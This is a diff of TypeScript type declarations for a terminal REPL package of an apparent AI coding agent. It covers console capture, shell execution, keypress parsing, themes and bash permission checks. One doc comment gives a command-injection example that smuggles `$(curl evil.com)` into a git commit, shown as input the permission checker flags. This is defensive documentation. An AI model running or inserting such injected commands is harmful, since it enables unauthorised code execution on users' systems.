+ declare function isTmuxControlMode(options?: Pick<TerminalHostDetectionOptions, "env" | "platform" | "tmuxControlMode">): boolean;
2284
+ declare function resetTmuxControlModeProbeForTesting(): void;
2285
+ declare function detectTerminalRenderHost(options?: TerminalHostDetectionOptions): TerminalRenderHost;
2286
+ declare const detectTerminalHostProfile: typeof detectTerminalRenderHost;
2287
+ declare function resolveConfiguredTuiRendererMode(options?: Pick<TerminalHostDetectionOptions, "env">): TuiRendererMode;
2288
+ declare function resolveEffectiveTuiRendererMode(options?: TerminalHostDetectionOptions): EffectiveTuiRendererMode;
2289
+ declare function resolveInteractiveSurfacePreference(options?: TerminalHostDetectionOptions): InteractiveSurfacePreference;
2290
+ declare function resolveFullscreenPolicy(host: TerminalRenderHost, rendererMode?: EffectiveTuiRendererMode, options?: Pick<TerminalHostDetectionOptions, "env">): FullscreenPolicy;
2291
+ declare function getTerminalHostCapabilities(profile: TerminalRenderHost, options?: {
2292
+ rendererMode?: EffectiveTuiRendererMode;
2293
+ env?: NodeJS.ProcessEnv;
2294
+ }): TerminalHostCapabilities;
2295
+ declare function isOwnedRendererPreferred(options?: TerminalHostDetectionOptions): boolean;
2296
+ declare function isClassicReplForced(options?: Pick<TerminalHostDetectionOptions, "env">): boolean;
2297
+
2298
+ /**
2299
+ * Console Capturer - Console output capturer - 控制台输出捕获器
2300
+ *
2301
+ * Captures console.log output for correct display in Ink render tree - 捕获 console.log 输出,用于在 Ink 渲染树中正确显示
2302
+ * Resolves rendering position issues caused by Ink patchConsole (Issue 040, 045) - 解决 Ink patchConsole 导致的渲染位置问题(Issue 040, 045)
2303
+ *
2304
+ * Extracted from InkREPL.tsx to improve code organization - 从 InkREPL.tsx 提取以改善代码组织
2305
+ */
2306
+ /**
2307
+ * Console capturer - 控制台捕获器
2308
+ *
2309
+ * Temporarily intercepts console.log to collect output - 临时拦截 console.log,收集输出内容
2310
+ * Must call stop() after use to restore original console.log - 使用后必须调用 stop() 恢复原始 console.log
2311
+ *
2312
+ * @example
2313
+ * ```typescript
2314
+ * const capturer = new ConsoleCapturer();
2315
+ * capturer.start();
2316
+ *
2317
+ * // ... some code calls console.log ...
2318
+ * // ... 某些代码调用 console.log ...
2319
+ * console.log("Hello", "world");
2320
+ *
2321
+ * const output = capturer.stop();
2322
+ * console.log(output); // ["Hello world"]
17
2323
  * ```
2324
+ */
2325
+ declare class ConsoleCapturer {
2326
+ private captured;
2327
+ private originalLog;
2328
+ /**
2329
+ * Start capturing console.log - 开始捕获 console.log
2330
+ */
2331
+ start(): void;
2332
+ /**
2333
+ * Stop capturing and return captured content - 停止捕获并返回捕获的内容
2334
+ */
2335
+ stop(): string[];
2336
+ /**
2337
+ * Get captured content without stopping capture - 获取已捕获的内容(不停止捕获)
2338
+ */
2339
+ getCaptured(): string[];
2340
+ /**
2341
+ * Clear captured content - 清空已捕获的内容
2342
+ */
2343
+ clear(): void;
2344
+ }
2345
+ /**
2346
+ * Execute function with capturer - 使用捕获器执行函数
2347
+ *
2348
+ * @param fn - Function to execute - 要执行的函数
2349
+ * @returns Captured output and function return value - 捕获的输出和函数返回值
2350
+ */
2351
+ declare function withCapture<T>(fn: () => Promise<T>): Promise<{
2352
+ result: T;
2353
+ captured: string[];
2354
+ }>;
2355
+ /**
2356
+ * Execute synchronous function with capturer - 使用捕获器执行同步函数
2357
+ */
2358
+ declare function withCaptureSync<T>(fn: () => T): {
2359
+ result: T;
2360
+ captured: string[];
2361
+ };
2362
+
2363
+ /**
2364
+ * Build the retry info history item shown during automatic provider retries.
2365
+ * Keeping this out of InkREPL makes the regression easy to test and avoids
2366
+ * falling back to console.log, which gets captured and deferred.
2367
+ */
2368
+ declare function createRetryHistoryItem(reason: string, attempt: number, maxAttempts: number): CreatableHistoryItem;
2369
+ declare function emitRetryHistoryItem(addHistoryItem: (item: CreatableHistoryItem) => void, reason: string, attempt: number, maxAttempts: number): void;
2370
+ /**
2371
+ * Build a recovery history item from a structured ProviderRecoveryEvent.
2372
+ */
2373
+ declare function createRecoveryHistoryItem(event: ProviderRecoveryEvent): CreatableHistoryItem;
2374
+ declare function emitRecoveryHistoryItem(addHistoryItem: (item: CreatableHistoryItem) => void, event: ProviderRecoveryEvent): void;
2375
+
2376
+ /**
2377
+ * Utilities for extracting message content for history rendering, copy, and previews.
2378
+ */
2379
+
2380
+ /**
2381
+ * Extract plain text from message content.
2382
+ * Thinking/tool blocks are omitted so callers get only visible assistant text.
2383
+ */
2384
+ declare function extractTextContent(content: string | readonly unknown[]): string;
2385
+ /**
2386
+ * Extract a session title from the first user message.
2387
+ */
2388
+ declare function extractTitle(messages: KodaXMessage[]): string;
2389
+ /**
2390
+ * Format a single-line preview for session lists.
2391
+ */
2392
+ declare function formatMessagePreview(content: string, maxLength?: number): string;
2393
+
2394
+ /**
2395
+ * Shell Executor - Shell command executor - Shell 命令执行器
2396
+ *
2397
+ * Handles !command syntax, executes shell commands and returns results - 处理 !command 语法,执行 Shell 命令并返回结果
2398
+ * Extracted from InkREPL.tsx to improve code organization - 从 InkREPL.tsx 提取以改善代码组织
2399
+ */
2400
+ /**
2401
+ * Shell command execution configuration - Shell 命令执行配置
2402
+ */
2403
+ interface ShellExecutorConfig {
2404
+ maxBuffer?: number;
2405
+ timeout?: number;
2406
+ maxOutputLength?: number;
2407
+ maxErrorLength?: number;
2408
+ cwd?: string;
2409
+ }
2410
+ /**
2411
+ * Execute shell command - 执行 Shell 命令
2412
+ *
2413
+ * @param command - Command to execute (without ! prefix) - 要执行的命令(不含 ! 前缀)
2414
+ * @param config - Optional configuration - 可选配置
2415
+ * @returns Command output or error message, formatted for LLM processing - 命令输出或错误信息,格式化为适合 LLM 处理的字符串
2416
+ */
2417
+ declare function executeShellCommand(command: string, config?: ShellExecutorConfig): Promise<string>;
2418
+ /**
2419
+ * Check if input is a shell command - 检查输入是否为 Shell 命令
2420
+ */
2421
+ declare function isShellCommand(input: string): boolean;
2422
+ /**
2423
+ * Check if shell command executed successfully - 检查 Shell 命令是否执行成功
2424
+ */
2425
+ declare function isShellCommandSuccess(result: string): boolean;
2426
+
2427
+ /**
2428
+ * KeypressParser - Terminal keypress parser - 终端按键解析器
2429
+ *
2430
+ * Reference implementation: Gemini CLI keypress.ts - 参考实现: Gemini CLI keypress.ts
2431
+ *
2432
+ * Resolves Ink useInput Backspace/Delete confusion issue: - 解决 Ink useInput 的 Backspace/Delete 混淆问题:
2433
+ * - Ink maps \x7f (ASCII 127) to delete - Ink 将 \x7f (ASCII 127) 映射为 delete
2434
+ * - But many terminals (especially Windows) send \x7f for Backspace key - 但很多终端(尤其是 Windows)发送 \x7f 表示 Backspace 键
2435
+ * - Real Delete key sends escape sequence \x1b[3~ - 真正的 Delete 键发送转义序列 \x1b[3~
2436
+ *
2437
+ * This parser's mapping rules (following Gemini CLI): - 本解析器的映射规则(参考 Gemini CLI):
2438
+ * - \b (ASCII 8) → backspace - \b (ASCII 8) → backspace
2439
+ * - \x7f (ASCII 127) → backspace (not delete!) - \x7f (ASCII 127) → backspace (不是 delete!)
2440
+ * - \x1b[3~ → real delete - \x1b[3~ → 真正的 delete
2441
+ */
2442
+
2443
+ /**
2444
+ * Parse single keypress sequence - 解析单个按键序列
2445
+ *
2446
+ * @param sequence - Raw input sequence - 原始输入序列
2447
+ * @param inBracketedPaste - Whether we're inside a bracketed paste (Issue 075) - 是否在粘贴模式中 (Issue 075)
2448
+ * @returns Parsed KeyInfo object - 解析后的 KeyInfo 对象
2449
+ */
2450
+ declare function parseKeypress(sequence: string, inBracketedPaste?: boolean): KeyInfo;
2451
+ /**
2452
+ * Keypress parser class - 按键解析器类
2453
+ *
2454
+ * Used for processing terminal input streams, correctly parsing multi-byte escape sequences - 用于处理终端输入流,正确解析多字节转义序列
2455
+ *
2456
+ * Reference Gemini CLI's emitKeys implementation: - 参考 Gemini CLI 的 emitKeys 实现:
2457
+ * - Does not wait for more data, processes immediately - 不等待更多数据,立即处理
2458
+ * - Uses external timeout mechanism to handle incomplete ESC sequences - 通过外部超时机制处理不完整的 ESC 序列
2459
+ */
2460
+ declare class KeypressParser {
2461
+ private buffer;
2462
+ private listeners;
2463
+ /** Whether in timeout flush mode (handling incomplete ESC sequences) - 是否处于超时刷新模式(处理不完整的 ESC 序列) */
2464
+ private flushing;
2465
+ /** Whether we're inside a bracketed paste (Issue 075) - 是否在粘贴模式中 (Issue 075) */
2466
+ private inBracketedPaste;
2467
+ /**
2468
+ * Issue 121: accumulator for content arriving between `paste_start` and
2469
+ * `paste_end`. Bracketed paste from the terminal normally arrives byte-by-
2470
+ * byte, so if we emitted per-char events downstream consumers (PasteStore
2471
+ * threshold, Layer 1 placeholder insert) would never see the full paste
2472
+ * in one call. We buffer insertable content here and emit ONE synthetic
2473
+ * aggregated event at `paste_end`.
2474
+ */
2475
+ private pasteAccumulator;
2476
+ /**
2477
+ * Add keypress listener - 添加按键监听器
2478
+ */
2479
+ onKeypress(listener: (key: KeyInfo) => void): () => void;
2480
+ /**
2481
+ * Process input data - 处理输入数据
2482
+ *
2483
+ * @param data - Raw input data (can be Buffer or string) - 原始输入数据(可以是 Buffer 或 string)
2484
+ * @param flush - Whether in timeout flush mode (handling incomplete ESC sequences) - 是否为超时刷新模式(处理不完整的 ESC 序列)
2485
+ */
2486
+ feed(data: Buffer | string, flush?: boolean): void;
2487
+ /**
2488
+ * Process data in buffer - 处理缓冲区中的数据
2489
+ */
2490
+ private processBuffer;
2491
+ /**
2492
+ * Flush the accumulated paste content as one synthetic keypress event.
2493
+ * Called when `paste_end` arrives. Newlines inside the paste are preserved
2494
+ * in the aggregated `sequence` so the buffer layer can split them normally.
2495
+ */
2496
+ private flushPasteAccumulator;
2497
+ /**
2498
+ * Extract next complete keypress sequence from buffer - 从缓冲区提取下一个完整的按键序列
2499
+ *
2500
+ * Key improvement (following Gemini CLI): - 关键改进(参考 Gemini CLI):
2501
+ * - Does not wait for more data, immediately processes known complete sequences - 不等待更多数据,立即处理已知的完整序列
2502
+ * - For incomplete ESC sequences, relies on external timeout mechanism calling feed("", true) to flush - 对于不完整的 ESC 序列,依赖外部超时机制调用 feed("", true) 刷新
2503
+ */
2504
+ private extractNextSequence;
2505
+ /**
2506
+ * Emit keypress event to all listeners - 发送按键事件给所有监听器
2507
+ *
2508
+ * Issue 121: while `inBracketedPaste` is true, the parser buffers printable
2509
+ * content + newlines into `pasteAccumulator` instead of emitting each char.
2510
+ * `flushPasteAccumulator` then emits the whole paste as one synthetic
2511
+ * keypress event when `paste_end` arrives. This preserves Issue 075's CRLF
2512
+ * normalization (CR/LF both become `\n` inside the accumulator) while
2513
+ * letting Layer 1 threshold logic see the full paste size.
2514
+ */
2515
+ private emit;
2516
+ /**
2517
+ * Clear buffer - 清空缓冲区
2518
+ */
2519
+ clear(): void;
2520
+ }
2521
+ /**
2522
+ * Check if is a function key (non-character input) - 检查是否是功能键(非字符输入)
2523
+ */
2524
+ declare function isFunctionKey(key: KeyInfo): boolean;
2525
+ /**
2526
+ * Check if is a printable character - 检查是否是可打印字符
2527
+ */
2528
+ declare function isPrintable(key: KeyInfo): boolean;
2529
+ /**
2530
+ * Get display name of key - 获取按键的显示名称
2531
+ */
2532
+ declare function getKeyDisplayName(key: KeyInfo): string;
2533
+
2534
+ /**
2535
+ * Dark Theme - Warp-inspired color scheme
2536
+ *
2537
+ * Inspired by Warp.dev terminal - 参考 Warp.dev 终端配色
2538
+ *
2539
+ * Key characteristics:
2540
+ * - Deep dark background (almost black)
2541
+ * - Cyan/teal accent for primary elements
2542
+ * - Good contrast, soft on eyes
2543
+ */
2544
+
2545
+ declare const darkTheme: Theme;
2546
+ declare const minimalTheme: Theme;
2547
+
2548
+ /**
2549
+ * Theme System - 主题系统
2550
+ */
2551
+
2552
+ declare const themes: Record<string, Theme>;
2553
+ /**
2554
+ * Get theme - 获取主题
2555
+ */
2556
+ declare function getTheme(name?: string): Theme;
2557
+ /**
2558
+ * Get all theme names - 获取所有主题名称
2559
+ */
2560
+ declare function getThemeNames(): string[];
2561
+
2562
+ /**
2563
+ * Permission Utilities
2564
+ *
2565
+ * 权限工具函数 - 模式解析、匹配、路径检查
2566
+ *
2567
+ * Pattern format (ONLY for Bash tool in accept-edits mode):
2568
+ * - "Bash(npm install)" - exact command match
2569
+ * - "Bash(git commit:*)" - prefix wildcard match (matches "git commit -m 'msg'" etc.)
2570
+ * - "Bash(npm:*)" - command prefix wildcard (matches "npm install", "npm run build" etc.)
2571
+ *
2572
+ * Note: Bash(*) is REJECTED for safety. Use specific command patterns.
2573
+ */
2574
+
2575
+ /**
2576
+ * Check if a bash command is strictly a safe read-only operation (Whitelist).
2577
+ *
2578
+ * FEATURE_152 (v0.7.38): replaces the pre-AST regex strip-then-classify
2579
+ * pipeline with `parseBashCommand` from `bash-ast.ts`. The AST gives us:
2580
+ * - statements split on `&&` / `||` / `;` (we only allow null and `&&`),
2581
+ * - pipeline stages split on `|` (every stage must be a safe-read command),
2582
+ * - per-stage redirections (input redirects rejected; output redirects only
2583
+ * allowed when the target is a null device, which discards output rather
2584
+ * than writing — preserves Issue 129 behavior),
2585
+ * - `unparseable: true` for inputs we can't model (heredocs, command
2586
+ * substitution `$(...)`, backticks, bare `&`, etc.) — fail-closed to
2587
+ * `false` so unmodeled syntax always falls through to confirmation.
2588
+ *
2589
+ * Per-stage syntactic checks (`isSingleBashReadCommand`) are unchanged —
2590
+ * the AST migration only replaces the splitting + null-device-strip layer.
2591
+ *
2592
+ * @param command - bash command string
2593
+ * @returns true if the command is a safe read operation
2594
+ */
2595
+ declare function isBashReadCommand(command: string): boolean;
2596
+ /**
2597
+ * Check if a bash command is a write operation.
2598
+ *
2599
+ * FEATURE_152 (v0.7.38): replaces the pre-AST regex blacklist with
2600
+ * `parseBashCommand` from `bash-ast.ts`. The AST eliminates two whole
2601
+ * classes of false positives the regex chain had:
2602
+ * 1. **Issue 129 strip-then-classify**: pre-AST code regex-stripped
2603
+ * `2>NUL` / `2>/dev/null` BEFORE pattern matching, then ran a
2604
+ * blacklist of pre-compiled regexes. The strip was fragile — any
2605
+ * future fd-redirect form would re-introduce the false positive.
2606
+ * Now redirections are structured tokens with a `target` field;
2607
+ * `isNullDevice(target)` is the single source of truth.
2608
+ * 2. **Substring matches inside argv strings**: pre-AST `\\bset-content\\b`
2609
+ * matched `set-content` even when it appeared inside a quoted string
2610
+ * argument or inside a path. AST argv tokens are post-quote-stripping
2611
+ * so PowerShell verb checks compare against actual command names.
2612
+ *
2613
+ * Detection rules (per-stage):
2614
+ * - argv[0] OR argv[0..1] (joined with space) matches any entry in
2615
+ * `BASH_WRITE_COMMANDS` (handles both `rm` and `git commit`).
2616
+ * - any argv token matches a `POWERSHELL_WRITE_TOKENS` entry (these can
2617
+ * appear inline, not just at stage start, due to PowerShell pipeline
2618
+ * conventions — `ls | Set-Content foo` puts the verb at argv[0] of
2619
+ * stage 2, but `New-Item -Path foo -Value bar` has it as argv[0] of
2620
+ * stage 1; we cover both with a token-anywhere check).
2621
+ * - any non-input redirection whose target is NOT a null device.
2622
+ *
2623
+ * Unparseable inputs (heredocs, `$(...)`) are conservatively returned as
2624
+ * `false` to match the pre-AST regex chain's behavior — those inputs just
2625
+ * didn't match anything in the regex blacklist either. Plan-mode and
2626
+ * auto-mode handle the unparseable case via separate confirmation paths.
2627
+ *
2628
+ * @param command - bash command string
2629
+ * @returns true if the command is a write operation
2630
+ */
2631
+ declare function isBashWriteCommand(command: string): boolean;
2632
+ /**
2633
+ * Check if a tool call is allowed by the user's allowlist patterns.
2634
+ *
2635
+ * FEATURE_153 (v0.7.38) — When `extractor` is supplied, bash commands are
2636
+ * routed through the LLM-backed prefix extractor, which:
2637
+ * - Returns the SAFE PREFIX of the command (e.g. `git commit` for
2638
+ * `git commit -m "msg"`)
2639
+ * - Returns `injection_detected` for inputs containing command injection
2640
+ * (`git commit -m "x" $(curl evil.com)`)
2641
+ * - Returns `no_prefix` when no safe prefix can be determined
2642
+ * Patterns then match against the extracted prefix exactly. This eliminates
2643
+ * the pre-FEATURE_153 startsWith-based injection surface.
2644
+ *
2645
+ * When `extractor` is NOT supplied, falls back to the legacy
2646
+ * `command.startsWith(pattern)` matcher. Documented as insecure in
2647
+ * `matchesBashPatternLegacy` — KodaX's REPL always supplies an extractor in
2648
+ * production; the legacy branch exists for tests and headless SDK consumers
2649
+ * without LLM access.
2650
+ *
2651
+ * Note: Only Bash tool is supported for pattern matching.
2652
+ *
2653
+ * @param toolName — tool name (only "bash" / "Bash" matched)
2654
+ * @param input — tool call input; reads `input.command`
2655
+ * @param allowedPatterns — entries like `Bash(git commit:*)` from
2656
+ * `~/.kodax/config.json` `alwaysAllowTools`
2657
+ * @param extractor — optional LLM-backed bash prefix extractor (FEATURE_153)
2658
+ * @param signal — optional abort signal forwarded to the extractor
2659
+ */
2660
+ declare function isToolCallAllowed(toolName: string, input: Record<string, unknown>, allowedPatterns: string[], extractor?: BashPrefixExtractor, signal?: AbortSignal): Promise<boolean>;
2661
+ /**
2662
+ * Generate pattern string for saving
2663
+ */
2664
+ declare function generateSavePattern(toolName: string, input: Record<string, unknown>, allowAll: boolean): string;
2665
+ /**
2666
+ * Check if target path requires always-confirm (permanent protection zones)
2667
+ *
2668
+ * Protected zones (always require confirmation, regardless of mode):
2669
+ * - .kodax/ project config directory
2670
+ * - ~/.kodax/ user config directory
2671
+ * - Paths outside the project root AND outside the system temp directory
2672
+ *
2673
+ * System temp directories (`os.tmpdir()` and `$TEMP` / `$TMP` / `$TMPDIR`) are
2674
+ * treated as a safe scratchpad in all modes — writing there is auto-allowed.
2675
+ * This aligns with plan mode's `isPlanModeAllowedPath` semantics: both modes
2676
+ * already explicitly permit system-temp writes, so accept-edits and
2677
+ * auto-in-project should not be stricter than plan mode on this dimension.
2678
+ */
2679
+ declare function isAlwaysConfirmPath(targetPath: string, projectRoot: string): boolean;
2680
+ /**
2681
+ * Check whether a path stays inside the project root after resolution.
2682
+ */
2683
+ declare function isPathInsideProject(targetPath: string, projectRoot: string): boolean;
2684
+ /**
2685
+ * Collect the file targets that a bash command might write to. Used by
2686
+ * plan-mode (`getPlanModeBlockReason`) and `getBashOutsideProjectWriteRisk`.
18
2687
  *
19
- * See docs/ADR.md ADR-024 for the SDK formalization decision.
2688
+ * FEATURE_152 (v0.7.38): backed by `parseBashCommand` AST. The pre-AST
2689
+ * version concatenated four overlapping regex sweeps over the raw command
2690
+ * string — each had its own substring-vs-token pitfalls (e.g. `tee`
2691
+ * matched as substring in `committee.txt`). The AST gives clean argv
2692
+ * tokens with quoting stripped, and per-stage redirection targets.
20
2693
  */
21
- export * from '@kodax-ai/repl';
2694
+ declare function collectBashWriteTargets(command: string): string[];
2695
+ declare function getBashOutsideProjectWriteRisk(command: string, projectRoot: string): {
2696
+ dangerous: boolean;
2697
+ reason?: string;
2698
+ };
2699
+ declare function getPlanModeBlockReason(toolName: string, input: Record<string, unknown>, projectRoot?: string): string | null;
2700
+
2701
+ export { App, AutocompleteContextProvider, BackgroundTaskBar, ConsoleCapturer, DEFAULT_UI_STATE, DialogSurface, DotsIndicator, FullscreenTranscriptLayout, HistoryItemRenderer, InputPrompt, KeyMatchers, KeypressHandlerPriority, KeypressParser, KeypressProvider, LRUCache, LoadingIndicator, MessageActions, MessageList, MessageSelector, NotificationsSurface, PendingInputsIndicator, PermissionMode, ProgressIndicator, PromptComposer, PromptFooter, PromptFooterLeftSide, PromptFooterRightSide, PromptHelpMenu, PromptSuggestionsSurface, QueuedCommandsSurface, SimpleApp, SimpleInputPrompt, SimpleMessageDisplay, SimpleStatusBar, SingleLineTextInput, Spinner, StashNotice, StatusBar, StatusNoticesSurface, StreamingProvider, StreamingState, SuggestionsDisplay, TOOL_STATUS_ICONS, TextBuffer, TextInput, ThinkingIndicator, ToolCallDisplay, ToolCallStatus, ToolGroup, ToolProgressBar, ToolStatusBadge, TranscriptViewport, UIStateProvider, _resetQueuedPromptsCacheForTests, calculateVisualCursorFromLayout, calculateVisualLayout, collectBashWriteTargets, createCliEvents, createHistoryItem, createJsonEvents, createKeyMatcher, createKeypressManager, createRecoveryHistoryItem, createRetryHistoryItem, createStreamingManager, createToolCall, darkTheme, detectTerminalCapabilities, detectTerminalHostProfile, detectTerminalRenderHost, emitRecoveryHistoryItem, emitRetryHistoryItem, executeShellCommand, extractTextContent, extractTitle, formatMessagePreview, generateId, generateSavePattern, getBashOutsideProjectWriteRisk, getCharAtCodePoint, getCodePointLength, getKeyDisplayName, getPlanModeBlockReason, getTerminalHostCapabilities, getTerminalWidth, getTheme, getThemeNames, getVisualWidth, getVisualWidthCached, hasCursorUpViewportYankRisk, hasMainScreenRenderScrollRisk, isAlwaysConfirmPath, isBashReadCommand, isBashWriteCommand, isClassicReplForced, isFunctionKey, isOwnedRendererPreferred, isPathInsideProject, isPrintable, isRemoteConptyHost, isScreenReader, isShellCommand, isShellCommandSuccess, isTmuxControlMode, isToolCallAllowed, isVsCodeTerminalHostEnv, isWideChar, minimalTheme, parseKeypress, resetTmuxControlModeProbeForTesting, resolveConfiguredTuiRendererMode, resolveEffectiveTuiRendererMode, resolveFullscreenPolicy, resolveInteractiveSurfacePreference, splitByCodePoints, supports256Colors, supportsEmoji, supportsTrueColor, supportsUnicode, themes, truncateByVisualWidth, useAutocomplete, useAutocompleteContext, useInputHistory, useKeypress, useKeypressManager, useQueuedPromptContents, useQueuedPrompts, useStreaming, useStreamingActions, useStreamingState, useTextBuffer, useUI, useUIActions, useUIState, visualWidthCache, withCapture, withCaptureSync };
2702
+ export type { AppHandle, AppProps, AppState, BackgroundTaskBarItem, BackgroundTaskBarProps, Completer, Completion$1 as Completion, CreatableHistoryItem, CursorPosition, DialogSelectOption, DialogSurfaceConfirmState, DialogSurfaceProps, DialogSurfaceUIRequestState, DotsIndicatorProps, EffectiveTuiRendererMode, FullscreenPolicy, FullscreenTranscriptLayoutProps, HistoryEntry, HistoryItem, HistoryItemAssistant, HistoryItemBase, HistoryItemError, HistoryItemEvent, HistoryItemHint, HistoryItemInfo, HistoryItemRendererProps, HistoryItemSystem, HistoryItemThinking, HistoryItemToolGroup, HistoryItemType, HistoryItemUser, InputPromptProps, InteractiveSurfacePreference, KeyInfo, KeypressEvent, KeypressHandler, KeypressManager, KeypressProviderProps, LegacyMessageListProps, LoadingIndicatorProps, LoadingIndicatorType, Message, MessageActionsProps, MessageListProps, MessageSelectorProps, NotificationSurfaceItem, NotificationsSurfaceProps, PendingInputsIndicatorProps, ProgressIndicatorProps, PromptComposerProps, PromptEditingMode, PromptFooterLeftSideProps, PromptFooterProps, PromptFooterRightSideProps, PromptFooterSurfaceItem, PromptHelpMenuProps, PromptSubmitPayload, PromptSuggestionsSurfaceProps, QueuedCommandsSurfaceProps, ShellExecutorConfig, SpinnerProps, StashNoticeProps, StatusBarProps, StatusNoticesSurfaceProps, StreamingActions, StreamingContextValue, StreamingManager, StreamingProviderProps, StreamingStateListener, Suggestion, SuggestionsDisplayProps, TerminalCapabilities, TerminalHostCapabilities, TerminalHostDetectionOptions, TerminalHostProfile, TerminalRenderHost, TextBufferOptions, TextInputProps, Theme, ThemeColors, ThemeSymbols, ThinkingIndicatorProps, ToolCall, ToolCallDisplayProps, ToolGroupProps, ToolProgressBarProps, ToolStatusBadgeProps, TranscriptViewportProps, TuiRendererMode, UIActions, UIState, UIStateProviderProps, UseAutocompleteOptions, UseAutocompleteReturn, UseInputHistoryOptions, UseInputHistoryReturn, UseKeypressOptions, UseTextBufferOptions, UseTextBufferReturn, VisualCursor, VisualLayout$1 as VisualLayout };